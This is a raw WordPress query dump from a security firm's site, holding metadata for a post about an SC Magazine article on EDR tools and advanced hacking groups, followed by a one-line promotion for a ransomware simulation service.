[post_title] => SC Magazine: EDR (alone) won’t protect your organization from advanced hacking groups [post_excerpt] => On July 12, 2021, NetSPI Director of Research Nick Landers was featured in an article from SC Magazine. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => edr-alone-wont-protect-your-organization-from-advanced-hacking-groups [to_ping] => [pinged] => [post_modified] => 2021-07-16 17:03:16 [post_modified_gmt] => 2021-07-16 22:03:16 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=25902 [menu_order] => 21 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [comment_count] => 0 [current_comment] => -1 [found_posts] => 9 [max_num_pages] => 0 [max_num_comment_pages] => 0 [is_single] => [is_preview] => [is_page] => [is_archive] => [is_date] => [is_year] => [is_month] => [is_day] => [is_time] => [is_author] => [is_category] => [is_tag] => [is_tax] => [is_search] => [is_feed] => [is_comment_feed] => [is_trackback] => [is_home] => 1 [is_privacy_policy] => [is_404] => [is_embed] => [is_paged] => [is_admin] => [is_attachment] => [is_singular] => [is_robots] => [is_favicon] => [is_posts_page] => [is_post_type_archive] => [query_vars_hash:WP_Query:private] => f71196cf5a293702a41bc1856eff1cde [query_vars_changed:WP_Query:private] => [thumbnails_cached] => [stopwords:WP_Query:private] => [compat_fields:WP_Query:private] => Array ( [0] => query_vars_hash [1] => query_vars_changed ) [compat_methods:WP_Query:private] => Array ( [0] => init_query_flags [1] => parse_tax_query ) )

Is your organization prepared for a ransomware attack? Explore our Ransomware Attack Simulation service.

X